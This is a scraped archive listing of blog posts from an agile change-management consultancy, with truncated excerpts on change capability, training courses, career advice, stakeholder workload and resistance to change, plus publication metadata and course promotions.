It’s important that the outcomes and achievements realise benefits. As leaders, we need to spend more time focused on defining the objectives for change management and less time on the specific work needed to achieve the change. Leaders Define the Objectives and the Destination, Not the Journey Defining the objectives of your change management and the end goal that we are leading people towards is a difficult task. We are asking our brains to step into an imaginary future, look around and then describe what it sees. This is hard because our brains are very good at focusing on what needs to be done today, but the further into the future we look, the less “real” things appear. As they are less “real”, they feel less urgent and less important, and we struggle to define them in as much detail. Here is a simple example: if I ask you how you are going to spend your summer holiday this year, which is probably a couple... --- ### Building Change Capability Across Your Organisation > I use my 30+ years of experience in change to define the success criteria for building change capability across your organisation - Published: 2025-05-06 - Modified: 2025-05-08 - URL: https://agilechangemanagement.co.uk/building-change-capability-across-your-organisation/ - Categories: Company Change is a constant pressure in all roles, but to date, there is little support for managers to develop their ability to manage change and in building change capability across an organisation. Accidental change has been the norm but this is starting to change. The high number of changes is forcing a re-think. Unless there are more people with a strong understanding of what is needed to scope, plan, implement and adopt change, we will be stuck with lots of ideas and few achievements. The question of how to build an organisation wide capability for change is a hot topic, evidenced by the number of boards, executive committees and senior leadership teams who ask me for guidance. I use my 30+ years of experience in change to define the success criteria for building change capability across your organisation. Success criteria for building change capability across your organisation 1. All change not one change When building change capability successfully, it is first important to recognise that there is so much change across an organisation. Leadership is not about sponsoring an individual change, it is about leading a transforming organisation. This means understanding and explaining change in the context of all the other changes taking place. Leaders at all levels, not just executives need skills in identifying and prioritising the changes taking place in their area. The official term for this skill set is “portfolio management” but the activities require an ability to organise information and identify the connections, conflicts and inter-dependencies.... --- ### Get More People Involved in Change in the Workplace > If we want to embrace the professional world around us then we need to get more people involved in change in the workplace - Published: 2025-04-29 - Modified: 2025-04-29 - URL: https://agilechangemanagement.co.uk/get-more-people-involved-in-change-in-the-workplace/ - Categories: Company For too long those working in change have felt like lone voices. We are often individuals or small groups leading the approach to new ways of working and shifts in culture. It’s an impossible task because the numbers don’t stack up. High volumes of change taking place in every part of the organisation cannot be supported by 3 or 4 (if we are lucky) change professionals. How do we get more people involved in change in the workplace? I am working with 3 global leaders of learning and development, who realise that capability building and getting more people involved in change in the workplace is core to solving this problem. What has driven them to embrace change management as a core skill? This desire for change capability is driven by three factors: Evidence of burnout and the increased level of staff turnover, especially with mid-level managers. More junior staff rejecting team leadership positions, preferring to build their specialist knowledge rather than take on responsibility for others. Reliance on individuals to drive the change leading to the collapse of the change when they move on Get More People Involved in Change in the Workplace The challenge is to excite and enthuse people to want to learn how to manage change. I do not pretend to have all the answers, but these are some of the messages that are creating the most interest in getting involved in workplace change through the capability-building programmes I deliver: Focus on Position Change Management as a... --- ### Always be Ready for a New Role > Often people come to me in a panic, because they want to apply for a new job, or they are in danger of losing their current role. - Published: 2025-04-15 - Modified: 2025-04-15 - URL: https://agilechangemanagement.co.uk/always-be-ready-for-a-new-role/ - Categories: Company I have trained exam courses for over 20 years, so I lots of experience in what motivates people to learn. Often people come to me in a panic, because they want to apply for a new job, or they are in danger of losing their current role through restructuring. They realise that they haven’t gained any new qualifications in a long time, and that puts them in a poor position, especially when their application is evaluated by AI for keywords, including the names of relevant qualifications. As a new trade war erupts, there is a risk we are entering a new era of recession. No-one really saw this coming, but it is another example of change happening to us whether we like it or not. For this reason, I think we need to always be prepared for changes at work. The time for an “all or nothing” approach to career development is over. What I mean by the “all or nothing” approach is those learners who at risk of losing their role, or who have been made redundant, and take several courses all at once to update their skills. There is nothing wrong with that. Whenever I have been between jobs, I always book in training, as it is an effective use of time and keeps me connected to others, which is reassuring. But. . it is the nothing part of “all or nothing” that bothers me. As soon as they have a new role, they immediately fall back into... --- ### Most Common Change Management Challenges in 2025 > Listening to your feedback from my training courses & master classes, I’ve identified 5 common change management challenges dominating our work - Published: 2025-04-07 - Modified: 2025-04-07 - URL: https://agilechangemanagement.co.uk/common-change-management-challenges/ - Categories: Company Listening to your feedback from my training courses and master classes, I have identified 5 common change management challenges dominating our work through 2025. This is backed up by the data from the Change Capability Survey run by Capability for Change Limited. The results of this survey can be found here. Below, I have summarised the 5 most common change management challenges and where they have come from. Top 5 Most Common Change Management Challenges Here are the top 5 common change management challenges. Challenge 1 - Multiple, simultaneous change No one experiences changes as individual, independent events anymore. There are far too many changes taking place across our organisations to allow that to happen. We could be in the middle of adapting to new ways of working when yet another change is announced. It is so easy to lose concentration, to forget where we have got to and feel like we are making no progress at all. The dependencies between various changes can create so many side effects that we stand on the sidelines and wait hopefully for a perfect moment of clarity before we get involved – but this moment never comes! Challenge 2 - Too much change to be a “side of the desk” activity I hate the “side of the desk” phrase, this idea that along with our main job, we have to turn to the side and give a new way of working a little piece of our energy and attention, and then get back... --- ### Spring forward! Discount on Change Management Courses > Last week I launched the SpringForward discount because I know so many of you are desperate to get professional qualifications. - Published: 2025-03-31 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/spring-forward-discount-on-change-management-courses/ - Categories: Company *THIS DISCOUNT CODE IS NO LONGER VALID* Last week I launched the SpringForward discount because I know so many of you are desperate to get professional qualifications even though money is tight at the moment - personally and for your organisation. Book your course today using code SPRINGFORWARD-50 at the checkout for a discount. Book Agile Change Agent Book Agile Change Coach Benefits of Change Management Courses I support your desire for gaining independent evidence of your change management skills, especially when so many restructurings are taking place or are on the horizon. There are 3 key benefits from change management courses: Increase your chances of being retained during a restructuring Give yourself more opportunities if you decide not to stay after a restructuring Put yourself on the path to promotions into leadership positions Increase your chances of being retained during a restructuring In a restructuring, the most qualified people are often retained. It is easy to prioritise those with the most relevant expertise and any change management qualification makes you relevant because if your organisation is restructuring then it is changing. I spoke to people who had not only survived but who had emerged with promotions after a recent restructure who I had trained in Agile Change a couple of years ago. They shared the knowledge gained during their change management training gave them the confidence to volunteer for activities during the restructuring, helping the consultancy hired by their organisation. They ran workshops with colleagues, organised planning sessions and... --- ### Specifying Your Goals: Start With the End in Mind > Specifying your goals and starting with the end in mind forces us to consider future possibilities for how we work, what we do & why we do it - Published: 2025-03-24 - Modified: 2025-03-24 - URL: https://agilechangemanagement.co.uk/specifying-your-goals-start-with-the-end-in-mind/ - Categories: Company Listen to this recording for new arguments on why an Agile Change approach is vital for AI-driven projects. Read this blog to develop your own perspective. Specifying Goals for Successful Leadership and Change Ten years ago, when I developed Agile Change and published the Agile Change Management Handbook, I campaigned for the importance of knowing what we want to achieve. This is an important step in successful leadership – start with an end in mind. I argued that understanding and being able to describe and explain the end goal of our changes at work is a critical skill for successful leadership. Why? Because Agile achieves the end goal but will flex and pivot to get us there. Don't waste time trying to guess the journey, establish the destination and your success criteria to enable everyone involved to make their contribution. Start with the end in mind. Using Tools to Contribute to Planning With the growth of Agentic AI (agents with autonomous decision making that get us the answers we need - flexing to achieve the goal we have set) the idea for planning the journey and starting with the end in mind has never been more important. If we are to direct the technologies available to us, we need to be specific about what we want them to do for us. It is time to become an expert in describing our needs because technology can create the answers. The Importance of Specifying Goals and Starting with the End in Mind... --- ### Building an Influencing and Persuading Strategy > If this creating an influencing and persuading strategy sounds like something you would like to be able to do, read on! - Published: 2025-03-17 - Modified: 2025-03-17 - URL: https://agilechangemanagement.co.uk/influencing-and-persuading-strategy/ - Categories: Company What is your influencing and persuading strategy? My work in delivering change has led me to specialising in overcoming resistance by influencing, motivating and persuading people to do things differently. Through this I have created an influencing and persuading strategy. This is an essential skill that transcends any one specific piece of work. It ensures that I have an excellent network of contacts, that I have highly effective stakeholder communication and engagement techniques and that I am confident to approach people to ask them to work, which fuels my collaborative, co-design style of working. If this creating an influencing and persuading strategy sounds like something you would like to be able to do, read on! How to Create an Influencing and Persuading Strategy These are my guiding principles for an effective influencing and persuading strategy in business: 1. Respect others time Everyone’s time is precious – including your own. Don’t waste their time by trying to build a relationship without a purpose. You are developing a business relationship, so be clear about the purpose of why you want to meet with someone. The quickest way to define your purpose is to ask yourself a series of questions (a variation on the 5 whys techniques): If you cannot answer these questions before you arrange a meeting, then you will waste their time, and they will be less likely to read/reply to future emails or agree to future meetings. 2. Stay positive Our brains are very good at identifying risks and problems.... --- ### Creating an Iterative Plan During Organisational Change > Creating and iterative plan is a successful way of managing organisational change and being productive when you have a lot to do - Published: 2025-03-10 - Modified: 2025-03-10 - URL: https://agilechangemanagement.co.uk/creating-an-iterative-plan/ - Categories: Company Do You Know How to Create an Iterative Plan? When organisational change occurs, we cannot do everything at once, but it can feel like that is what is expected of us. Our natural coping mechanism is to jump from one task to another, convincing ourselves that with more multi-tasking we will get through the backlog! The Importance of Iterate Planning The bad news is that neuroscience teaches us that multi-tasking is a myth. The brain is not processing multiple tasks at once, instead it is switching between them very quickly. This constant switching is exhausting, and unproductive. The brain needs time to remember where it had got to, so that it can pick up from our last piece of progress before adding more to the task. This cycle of remembering where we got to, do a little bit, get interrupted by another task, switch back to the original task wastes so much time and leads to errors which trigger re-work which wastes even more time! A more effective approach is to apply iterative, incremental planning techniques to all work. We don’t need to reserve these skills just for projects, programmes and change initiatives. Create the Content for Your Iterative Incremental Plan To work incrementally you need your work to be small, independent activities. Independent means that there is no reliance on other inputs. To break away from dependencies on other projects and the work of other colleagues, break your work into small, specific tasks: Create your To Do list, giving... --- ### Do you have enough people involved in the workplace changes you are making? > To increase the results from people involved in workplace change, use these 3 aspects to create motivation for everyone to learn the basics - Published: 2025-02-24 - Modified: 2025-02-24 - URL: https://agilechangemanagement.co.uk/do-you-have-enough-people-involved-in-the-workplace-changes-you-are-making/ - Categories: Company Very often, involvement in workplace change is something that happens “at the side of the desk” – additional work that somehow must be squeezed into existing workloads. This causes problems for those involved in scoping and planning the changes, because change does not become a reality until those affected have the time to identify and then practice what needs to change. Managers and staff are trying to balance their existing work with creating new ways of doing things. Demands from customers in the present will always be perceived as more important than developing the future ways of working. This is because things that are due to happen in the future are not prioritised by our brains. This phenomenon is called “delay discounting” – the brain discounts the importance, impact and urgency of things further away in time than what is taking place right now. We cannot change the pressures on those who must change how they work, but we can increase the results from the time they have available. These managers and teams get very little (if any) training in how to manage change. We need simple, routine activities that enable them to know how to best use the time they have. Increasing the results from people involved in workplace change To increase the results from people involved in workplace change, use these 3 aspects of change to create motivation for everyone to learn the basics. Implement a Structure for Change - Effective change management can avoid lots of wasted... --- ### Change Management for Mergers and Acquisitions: How to successfully manage changes during and after mergers and acquisitions > Something that I am often approached for is Change Management for Mergers and Acquisitions. This can be a delicate time for all involved. - Published: 2025-02-17 - Modified: 2025-02-17 - URL: https://agilechangemanagement.co.uk/change-management-for-mergers-and-acquisition/ - Categories: Company Something that I am often approached for is Change Management for Mergers and Acquisitions. This can be a delicate time for all involved. Here are some ideas on how to successfully manage the change involved in this type of organisational transition. Change Management for Mergers and Acquisitions A frequently occurring change for commercial organisations where mergers and acquisitions are involved is managing the transition to a common way of working. I am advising several organisations on how to do this, and I thought I would share the plan that I help them to follow. Dealing with the Loss of Identity As soon as an acquisition has been completed, the pressure is on to bring the two organisations together, using common systems and processes to create economies of scale and maximise the capacity and capability of the newly merged entity. Sometimes, an organisation will formally name this initiative “One X”, where X is the name of the organisation. It’s not uncommon for those who have been acquired to struggle to accept all the changes taking place around them. This can include loss of identity as the name of the company they work for has also changed. When this goes wrong, the expected benefits of bringing the two organisations together fails, because those who were acquired focus on maintaining their existing ways of working, using a “deny anything has changed” strategy as an emotional comfort blanket. If you are tasked with making this type of change happen, here are some tips for... --- ### Agile Change Techniques are Essential to Organisational AI Adoption > Using Agile Change techniques short-cuts the feedback loop, delivering real experience of how the change works in practice very early in the lifecycle - Published: 2025-02-10 - Modified: 2025-02-10 - URL: https://agilechangemanagement.co.uk/agile-change-techniques-are-essential-to-organisational-ai-adoption/ - Categories: Company I wrote the first Agile Change Handbook in 2014 and the second edition in 2021, with thousands having gained the Agile Change Agent certification. The number of people taking this course and recommending it to their colleagues tells me how incredibly popular the Agile Change approach is. What is exciting is even greater interest in the Agile Change approach, because of the acceleration of AI initiatives leading to even more uncertainty. The Agile Change techniques, especially the Agile Change Roadmap are designed especially for initiatives where the path to achieving the vision is uncertain. There is a simple reason, Agile Change techniques are ways to plan, manage and achieve change incrementally, in bite sized pieces as quickly as possible. This speed is not just because we want to realise benefits as soon as possible – true, we do! But the sooner we adopt a new way of working, the sooner we understand the impact it will have and the new opportunities it gives us. Using Agile Change Techniques Using Agile Change techniques short-cuts the feedback loop, delivering real experience of how the change works in practice very early in the lifecycle. This means it helps to create certainty; we have real results to base decisions on about what is working and what is not, and therefore, what we need to build on and what we need to change. Agile Change is an approach specifically developed to address uncertainty – and the change projects that involve AI are full of uncertainty... --- ### Training and Development: Choosing the Right Activities for You and Your Career > Participating in training and development programmes creates an amazing feeling of achievement and can be a huge boost for your career. - Published: 2025-02-03 - Modified: 2025-02-03 - URL: https://agilechangemanagement.co.uk/training-and-development-choosing-the-right-activities-for-you-and-your-career/ - Categories: Company Participating in training and development programmes creates an amazing feeling of achievement. This sense of achievement then builds into feelings of enthusiasm and motivation for your career. They can help you move towards the ideal state where you feel your work is your hobby; it is something you enjoy so much that it does not feel like a burden to get up on dark, cold mornings. This might be true for some, but for others, training courses provide a more practical benefit – and in a tough market for jobs, this is what I am hearing more frequently this year: Training and development courses take the risk out of: Hiring you Keeping you on during a re-structure Promoting you Giving you new opportunities and responsibilities Training and Development for Hiring In my corporate life I have been at the sharp end of hiring for my team. It is a difficult task, because you often only have one interview to detect if someone has the skills and abilities needed for the job, is likely to be committed to the work, bring energy and enthusiasm to the team and be the right fit for the challenge you are hiring for. Certifications through training and development play an important part in the hiring process. When you have good candidates, going back over their CVs and realising that not only have they convinced you they know what they are doing, but they have the evidence that they have studied their subject and studied it... --- ### How Do I Build My Digital Leadership Skills? Digital Leadership Master Class > I’m sharing my experience from the Digital Leadership Master Class, by Mel Ross, an expert coach in digital transformation & leadership - Published: 2025-01-27 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/how-do-i-build-my-digital-leadership-skills-digital-leadership-master-class/ - Categories: Company Do you know how to cope with all the digital change taking place in your organisation? Do you know what questions to ask, and how to plan what activities you need to do to adopt a 'digital mindset'? Your best option is to build your digital leadership skills. In this article, I share my learning from the Digital Leadership Master Class, developed by Mel Ross, an expert c-suite coach in digital transformation and leadership skills. In this master class she shares her coaching talent with all of us, helping us to think differently about digital transformation. About the Digital Leadership Master Class from Mel Ross Without sounding arrogant, it is not often I have an amazing training experience. As thought-leader in change and transformation I am asked for ideas and solutions, but I don’t find that many credible experts worth listening to. Studying the digital leadership master class became my secret pleasure. I carved out 30 minutes at the end of each day to listen to Mel, view her techniques and models and then I think about how they apply to my work overnight. My evening dog walks this month have been dominated by how I now see the world, thanks to the questions that Mel asks in her master class. Digital Leadership Tools One of the most impactful things I have taken away from this master class is a new perspective on types of digital changes. Viewing the innovations I constantly hear about as either a trend or an... --- ### How do I Adopt a Growth Mindset? > How do you easily and simply adopt a growth mindset? Or a change in your work? Find out in my latest insight – Agile Change Management - Published: 2025-01-20 - Modified: 2025-01-20 - URL: https://agilechangemanagement.co.uk/how-do-i-adopt-a-growth-mindset/ - Categories: Company In this article, I will share the simple technique I use to adopt a growth mindset and cope with high volumes of change at work. Why should you read this? As the author of the Agile Change Handbook, and the Chief Examiner for the Agile Change qualifications, I have been coaching people in the techniques for planning change in a flexible way for over a decade. How to Adopt a Growth Mindset There are several ways you can adopt a growth mindset. This could look different for everyone. Essentially, you need to make sure you are being open minded and constantly considering your current processes and thinking about how these can be improved or modernised. Here are some of the most important steps that can help you on your journey. 1. Be flexible Being flexible is a great first step in adopting a growth mind set. In change we are always talking about the importance of being flexible, being open to new information and being willing to change. We prize the growth mindset over the fixed mindset, which means we view change as an opportunity to learn and grow, not as a threat that we need to run away from! In order to embrace change, you need to be flexible. 2. Challenge and Evaluate your Processes Constantly evaluating the way you work and challenging yourself is the only way to successfully adopt a growth mindset. This can be tricky when your current processes are still working for you, but it's... --- ### Getting Ready to Attend a Training Course > Getting ready to attend a training course is an important process that many people don't consider. Here are some recommendations - Published: 2025-01-13 - Modified: 2025-01-13 - URL: https://agilechangemanagement.co.uk/getting-ready-to-attend-a-training-course/ - Categories: Company This week, instead of being the trainer, I am attending a training course. The training is on the features of a new IT platform, which is going to change how my colleagues and I do a lot of our work. Getting ready to attend a training course is an important process that many people don't consider. Why Getting Ready to Attend a Training Course is Important It is important that I get the most out of my time with the trainer. She is an expert, and I need to ask as many questions as possible as she is only available during the course. I know I will kick myself later if I don't get the most out of this dedicated training time. Steps When Getting Ready to Attend a Training Course I thought you might like to hear about my preparations for attending the course to help you prepare for your next training course. Address Fears - My first step is to address my fears. I am a confident person, so I don't worry about asking stupid questions. I know every question is valuable because it is a definite need for an answer, demonstrating that I am focused and engaged. If you worry about asking questions during a course, don't. Trainers take it as a sign you are interested, which is a compliment, and we know because you asked the question, your brain has taken ownership of the subject, so you will retain and use the information more than if... --- ### Making Time for Learning in 2025 > My new year’s resolution for work this year is to be proactive in making time for learning. Find out why and how I am doing this here - Published: 2025-01-06 - Modified: 2025-01-06 - URL: https://agilechangemanagement.co.uk/making-time-for-learning-in-2025/ - Categories: Company My New Year's resolution for work this year is to be proactive in making time for learning. My workload is high, and I have decided it is time to stop pretending that if I just work hard this week, I will have more time for developing next week! Thinking and working this way means that making time for learning constantly becomes secondary. Why Making Time for Learning is Important Making time for learning is important for any individual for many reasons. Work Smarter - There are lots of new things I want to learn because I know that new knowledge and techniques will help me work smarter, which saves me time which gives me more time to learn new things - it's an obvious virtuous circle. However, instead, I remain trapped in the vicious circle of doing things how I have always done them because I don't have time to find better ways to work. New Technologies - With the rapid increase in AI tools, being a human who doesn't learn is a dumb decision. My strategy to survive and, in fact, thrive is to apply the mantra, "If my work is changing, I need to change how I work". General Improvement - The biggest mental shift for me is accepting that I could do things better. I need to be open to new approaches. If not, I will not search for new techniques, shortcuts, or tips from others. How I am Making Time for Learning in 2025 Accepting that... --- ### How to Work Smarter for 2025 > As the year draws to a close, I thought it would be a good idea to take this opportunity to discuss how to work smarter for 2025 - Published: 2024-12-16 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/how-to-work-smarter-for-2025/ - Categories: Company Building on my blog from last week when I gave you ideas for how to capture your achievements for the past year, I thought it would be a great idea to talk about how to work smarter in 2025. I have been reading some great articles about not getting stuck in old ways of working, and taking time to work smarter that have inspired my own personal audit and revamp of how things get done. How to Work Smarter There are several new practices I am implementing to work smarter in 2025. Some of them are more of a mindset switch than a physical way of working – but, never underestimate how a mindset change can help you accomplish more in the same amount of time. Accepting that my workload is overwhelming - The first and most important part of my revamp is to accept that there will never be enough hours in the day to fit in everything that I need to do and want to do. Too often I work myself to exhaustion over a few weeks, believing that if I just keep my head down, when this busy period is over, I will be on top of my workload and able to achieve some work-life balance. Working hard to the point of exhaustion and burnout is counterproductive and not a smart way to work. Accepting that it doesn’t matter how fast I go, I will never get to a place where all is calm and I have... --- ### Creating an Achievements List for 2024 > I am using December to create an achievements list for 2024. This is great practice to ensure I finish work for the holidays feeling positive - Published: 2024-12-09 - Modified: 2024-12-16 - URL: https://agilechangemanagement.co.uk/creating-an-achievements-list-for-2024/ - Categories: Company I am using December to create an achievements list for 2024. This is a great practice to ensure I finish work for the holidays feeling positive about what I do and the value it creates. If you’re like me then your plans for 2025 might already look daunting so I am taking this time to create gratitude for having an exciting job; pride in my resilience; and wall in the amazement of how much I accomplished. How to Create an Achievements List This is my template for creating an achievements list, which is taken from one of the neurohacks in the ChangeabilityPro® platform – if you want a demonstration of the solutions; techniques; materials for use in your change work, contact me to schedule 30 minutes – including a discussion/advice on how to build your career in change What to include in your achievements list Sometimes, it is hard to look back and praise ourselves for our achievements. Here are some ideas for what you could include in your achievements list for 2024. If you have other thoughts, I would love to hear them! Innovations and solutions: New ideas, new ways of working, ways that you have improved how you get things done Implementations of new processes; systems; data Creative sessions you took part in and how these have led to solving problems and creating new opportunities for your colleagues inside your organisation and/or your customers/suppliers outside your organisation Events: Courses Conferences Webinars Relationships Relationships with experts outside your organisation... --- ### Change Capability Community: The Supportive Environment Available in the Change Community > Change Capability Community: The Supportive Environment Available in the Change Community - Join our community here. - Published: 2024-12-04 - Modified: 2024-12-05 - URL: https://agilechangemanagement.co.uk/explaining-the-supportive-environment-available-in-change/ - Categories: Company After talking to so many of you who are new to change, I wanted to use this blog to highlight the supportive environment available in the change community. Why a Supportive Environment Available in the Change Community is Important Change can be a hard job because we must absorb the stress and anxiety of those who have to adopt new ways of working. It can also be a lonely role because there may be only a few of you responsible for change in your area, and you are trying to balance your change responsibilities on top of your existing work—which creates pressure that sets you apart from your colleagues. Utilising the Change Capability Community If you want reassurance that you are not alone, join the Change Capability Community. This group is a brilliant supportive environment available within the change community. We share resources and ideas on LinkedIn in our on-going chats. We also hold virtual networking and discussion events every month, so you can connect with others and share your experiences. If you want more support, join the fortnightly free virtual coaching sessions. I get put in the hot seat, you ask the questions and share your challenges, and I find practical, simple solutions for you to try. There are lots of webinars and podcasts from change professionals giving you different perspectives and are great sources of ideas – here are some of my favourites: Change Management Review, run by Theresa Moulton has an inspiring list of events, podcasts and... --- ### Change Management Survey 2024 Results > Here are the results of this years change management survey. In this insight, I break down the career ambitions of members of our community - Published: 2024-11-25 - Modified: 2024-12-04 - URL: https://agilechangemanagement.co.uk/change-management-survey-2024-results/ - Categories: Company You may have had a message from me earlier this year asking your opinion on the Change Management Survey. This year we focused on various aspects of the industry, one of which being career ambitions of those involved. Summary Interesting results from the Change Capability Community about their career ambitions for 2024. These are my views on the results from the poll: I am surprised by a couple of these results – here is my understanding of why people may have voted this way in the 2024 change management survey. 1. Improve change management understanding - 11% As members of a change community, should we be surprised at the low figure for “improve understanding of change management”? After all, this is a group of professionals who are already skilled and experienced in management change and transformation. However, although it might not be a top priority, I think continuing to build our skills should always be a focus, because the challenges we experience in change continue to evolve, and we need different skills to continue to excel. For example, I believe that in 2024 we are going to need more data analysis skills, as we need to provide more evidence that change management activities are the reason that changes are realising benefits for our organisations. 2. Build change management techniques - 42% Perhaps the scores for improving understanding of change management are lower because the respondents to this survey are taking a more practical approach, and that is why the desire... --- ### Your Stakeholders are Overwhelmed – Use Agile Change Techniques to Reduce Workload > If your stakeholders are getting overwhelmed during your change initiative, find out out to use agile change techniques to reduce workload - Published: 2024-11-18 - Modified: 2024-11-19 - URL: https://agilechangemanagement.co.uk/your-stakeholders-are-overwhelmed-use-agile-to-reduce-their-workload/ - Categories: Company This blog is a summary of the guidance I have just been giving to a client on how to use Agile change techniques to reduce workload of stakeholders and other partners. I am sharing because I am sure their situation will feel familiar! Overwhelming Change Process During a change initiative at this clients organisation, we noted that the change could become overwhelming for various people involved, this would be down to: The organisation has numerous changes it needs to explain Messages about one change are getting lost because there are so many messages about all the change initiatives taking place across the organisation Messages are getting lost because there are so many of them Key resources are not taking part in change events – including important demonstrations and training events because they are too busy Even those who are getting involved do not sustain their involvement – they are distracted by so many other calls on their time We know that Agile approaches continue to grow in popularity, and an Agile Change approach addresses these common issues directly. We are now into the process of exploring how to use agile change techniques to reduce workload. I have created 43 specific techniques and solutions to address these challenges, because I experience them every day on the changes I am leading. I dedicate a portion of every week to solution development because I know we have to “hit the ground running” and have immediate answers for these issues, before they take hold... --- ### Understanding and Embracing Agile Change > Agile Change is a transformative approach that combines principles from the agile methodologies, traditionally used in software development. - Published: 2024-11-12 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/understanding-and-embracing-agile-change/ - Categories: White Papers --- ### Change Management Training Courses & Certifications, Which Should you choose? > There are lots of benefits to training, over the weekend a potential customer seeking to ensure she was selecting the most relevant training - Published: 2024-11-11 - Modified: 2024-11-13 - URL: https://agilechangemanagement.co.uk/which-change-management-training-course-should-you-choose/ - Categories: Company Over the weekend a potential customer seeking to ensure she was selecting the most relevant training for her and her team, asked me to comment on different change management trainingcourses & certifications. Below are my personal views, drawn from a mix of my knowledge and experience: Firstly I think it's important that my opinion is trusted - so here's why you should take my opinion onboard. I have the qualification I have previously trained the course I have helped develop the materials upon which the course is based I have written the textbook which is the basis of the course I used to be global head of project and programme management, hiring and coaching many project and programme managers I have established and resourced numerous Portfolio, Programme and Project Management Offices I was a co-founder of the Agnostic Agile movement, which believes applying Agile thinking and approaches is more important than the Agile methodology you apply I have developed the ChangeabilityPro® AI driven platform filled with new techniques, online courses and master classes I co-chaired the Change Management Institute in the UK for 6 years I founded and co-chair the Change Capability Community I founded and co-chair the global Capability for Change survey I advise on numerous change and transformation programmes in the public, private and third sectors around the world I have worked in all continents, and over 30 countries, giving me a unique insight into the impact of national cultures on how we work (I am sure there... --- ### Benefits of Change Management Training from Agile Change > Find out about the benefits of change management training and why you and your team should consider gaining some certifications. - Published: 2024-11-04 - Modified: 2024-11-13 - URL: https://agilechangemanagement.co.uk/benefits-of-being-trained-in-agile-change/ - Categories: Company Last Friday, in my role as Chief Examiner for APMG-International, I delivered a webinar about the benefits of change management training through my Agile Change certifications. The content for these courses is drawn from the Agile Change Management Handbook, which I wrote (1st edition in 2014 and 2nd edition in 2020). Change Management Courses Breakdown Within my change management training, there are two different courses, they are; Agile Change Agent – concentrates on applying agile concepts to create an Agile Roadmap, a visual incremental, iterative plan for your change. The Agile Change Agent (or ACA) course provides you with techniques to identify the benefits of your change and how to prioritise them so you know you are always delivering work that creates the most value for your stakeholders. It equips you with techniques for breaking down the work into specific outcomes, that can be delivered as a series of changes, so you don’t need to plan everything up front, and can respond to feedback and changes in circumstances. Agile Change Coach – using the Agile concepts and Agile Change Roadmap, the Agile Change Coach (or ACC) course provides 43 techniques for leading people through a change, from initial idea to successful adoption of new ways of working. Each of these techniques gives you a new way of persuading your stakeholders to get involved and to make change happen, using insight from neuroscience to explain how their brains reacts to what you are asking, helping you to simplify your requests and... --- ### Tips For Getting Your Next Job in Change Management > Here are my top tips for getting your next job in Change Management. A very topical subject with several people moving on at the moment - Published: 2024-10-21 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/tips-for-getting-your-next-job-in-change-management/ - Categories: Company I have been contacted by so many of you in change management and transformation who are now hunting for your next role, I wanted to provide some tips for getting your next job. The market is tough, and I vividly remember the last time this mass career change happened, from April 2020 to early March 2021, as a result of the pandemic. Being out of contract, or being made redundant is a scary time, and it is hard to believe that things will improve. In my experience, the only way to quell the panic when things go wrong are to do something. My Top Tips for Getting Your Next Job in Change Management Here are my top tips for getting your next job in the change industry – you can also watch this recent webinar on for a deeper understanding. Remind Yourself How Good You Are Forget about listing your job titles, instead create a list of all the things you achieved during your time in change. This means moving from a description of all the things you have done (describing how busy you are) to explaining what happened because of your effort: Did you help senior leaders take timely decisions Did you inspire people to get involved in your change Did you coach someone through their resistance to change Did you plan and facilitate workshops Did you create plans – change; communication etc Did you create strategies – risk; reward; data etc Describe your experiences using the phrases from... --- ### Preparing for Change Management Exams with Agile Change Management > Preparing for the change management exams is a lot of work. To maximise this work, I used the experience to review training styles for the exam - Published: 2024-10-16 - Modified: 2024-10-16 - URL: https://agilechangemanagement.co.uk/preparing-for-change-management-exams-with-agile-change-management/ - Categories: Company As part of the switch to v3 of the Change Management Foundation and Practitioner exam, I had to retake the Practitioner examination. This exam is 2. 5 hours long and covers all five areas of the syllabus. Preparing for the change management exams is a lot of work. To maximise this work, I used the experience to review my training style for the exam, and to update the pre-course preparation I send out to anyone who books a course with me. Preparing for Change Management Exams – A Step-by-Step Guide This is my experience in preparing for the change management exam I recently took. I hope reading it gives you some ideas for how best to prepare and study for your exam: Step 1: Treat the Course Like an Interview – Treat the course and exam like an interview and accept you need to prepare. How often do we turn up to meetings without any preparation, hoping that everything will become clear as others speak and we start to engage with the subject? We can “wing it” for many meetings, but this is a stupid approach for a training course. If the first time you hear something is when the trainer is sharing examples of how the concept is applied, how can you ever catch up? Everyone else is sharing their experiences of the subject, or asking insightful questions but you are thinking – what are they talking about and which page is that in the book? So, treat the... --- ### Building an Organisation - Wide Capability for Change > Building an organisation capability for change with agile change management: if you want the materials to train others, contact me - Published: 2024-10-07 - Modified: 2024-10-07 - URL: https://agilechangemanagement.co.uk/building-an-organisation-wide-capability-for-change/ - Categories: Company Organisation-wide capability for change means the skills and confidence to lead ourselves and others through the transition from current to new ways of working. Never has this been more important. The volume of change taking place in all our places of work has never been higher. This volume is the result of internal and external forces for change: Strategic decisions should be made to do things differently, including focusing more on customer experience, ensuring more efficiency, and controlling costs. Externally imposed changes, including changes by technology companies to the platforms we rely upon; market changes as customers compare our products and services to others and demand more - look at how the transparency of the delivery experience from Amazon has changed how other organisations have had to play catch-up and add functionality that lets us track the moped delivering our takeaway food or the progress of an application for insurance. Benefits of Coaching and Training when Building an Organisation-Wide Capability for Change If you have any role in change or transformation within your organisation, you will benefit from ensuring that those affected by your project and change initiatives are ready and willing to change their ways of working. To increase the probability of their involvement, use these benefits to persuade them to take advantage of the coaching and training included in your change plan: Benefit – creating the capacity for change that matches the level of strategic ambition for change and transformation Training those impacted by change increases their ability... --- ### Finding Answers to Resistance to Change in the Workplace > Of course, there is always going to be resistance to change in the workplace. Here are some solutions and answers to help - Published: 2024-09-30 - Modified: 2024-09-30 - URL: https://agilechangemanagement.co.uk/finding-answers-to-resistance-to-change-in-the-workplace/ - Categories: Company As part of my change management programmes, I ask for feedback and challenges that the participants face. I am grateful to everyone I train for sharing so honestly their challenges and problems when implementing change. Many of the issues can be categorised as “resistance to change in the workplace. ” Solutions to Resistance to Change in the Workplace Here are some of the most common resistance to change issues and some guidance for dealing with them: Importance and value of portfolio management Understanding and managing the huge volume of change taking place across the organisation and being able to explain to those affected how the changes are aligned https://agilechangemanagement. co. uk/making-the-argument-for-portfolio-management/ Sponsoring change and transformation Persuading a sponsor to engage with the change is a frequent issue. Sponsors often look to those in business change roles to promote and manage all aspects of the change, but the impact we can have is multiplied if there is visible support from our sponsors. Watch this https://agilechangemanagement. co. 